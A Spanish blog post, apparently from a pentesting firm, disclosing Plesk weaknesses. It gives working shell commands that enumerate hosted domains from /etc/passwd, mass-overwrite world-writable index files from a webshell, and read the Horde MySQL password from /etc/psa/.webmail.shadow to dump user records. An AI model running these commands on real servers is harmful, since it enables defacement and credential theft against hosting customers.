F F F

Vulnerabilidades En Plesk

Plesk usa dentro de la version Linux como home de usuario el nombre del dominio, esto hace que si se logra acceso a la lectura del /etc/passwd conocemos los dominios hosteados dentro del server y  este archivo tiene permisos de lectura para cualquier usuario del sistema.
El formato seria:

usuario:x:10021:2524::/var/www/vhosts/dominio.com:/bin/false

El directorio httpdocs dentro de cada vhost no tiene permisos de lectura en “others”, pero desde una webshell podemos con un “find” listar los archivos index en los que se pueda escribir como others y asi sin ser root podemos modificar gran parte de los index dentro del servidor.

#lista de dominios dentro del server
cat /etc/passwd |grep vhosts|cut -d : -f 6 | cut -d / -f 5 >> temporal

#copiar archivo bad_index a todo index escribible dentro del servidor
cat temporal|while read line;do find /var/www/vhosts/$line/httpdocs/ -name “index.*” -perm -o=w -exec cp -f ./bad_index {} \; ;done

No es tan comun que se deje permisos de escritura en un archivo index en el campo others pero hemos encontrado muchos que si lo tienen.

Para listar los archivos index que al menos pueden leer se puede hacer algo asi

cat temporal|while read line;do find /var/www/vhosts/$line/httpdocs/ -name “index.*” -perm -o=r ;done

Nuestro ejemplo es con los index pero con patrones de busqueda diferentes se pueden buscar archivos con el nombre que se elija, en varios servidores hemos encontrado que el directorio httpdocs tiene permisos de lectura y ahi es posible listar su contenido desde la webshell y dentro de la estructura de los sitios puede haber directorios que se pueden listar porque normalmente un webmaster no es muy restrictivo en sus permisos sino que buscar el buen funcionamiento de la web.

Un segundo problema que detectamos es que la clave del admin de horde y que tambien es la clave del usuario horde en mysql se guarda en el archivo
/etc/psa/.webmail.shadow y el grupo dueño de este archivo es apache con permisos de lectura.
Nosotros al estar en la webshell ejecutamos los comandos como el usuario apache entonces si hacemos:

echo “select * from horde_users”| mysql -u horde -p`cat /etc/psa/.webmail.shadow` horde

tendriamos acceso a los datos de usuarios de horde, para accedr a horde es solo ver alguno de los dominios que tenga webmail habilitado dentro del server y acceder por http://webmail.dominio.com

Mauro Rossi (Betatester de Parallels y miembro del staff de HYPERNETHOST & Security-Pentest).

Comments are closed.

Sobre el Blog

Fue creado para compartir conocimientos, técnicas y trucos para los webmasters y empresas que contratan nuestros servicios.

Clientes

Gobiernos, ministerios, bancas, aseguradoras, entidades financieras, estudios jurídicos, estudios contables, instituciones, hospitales, etc.

Servicios

Pentesting, auditorías de seguridad, auditorías de redes, adminitración de servidores, hosting, dominios, diseño web, desarrollo de software y más...

Socios De Negocios

- Security-Pentest
- Atenea Capacitaciones
- YouJoomla!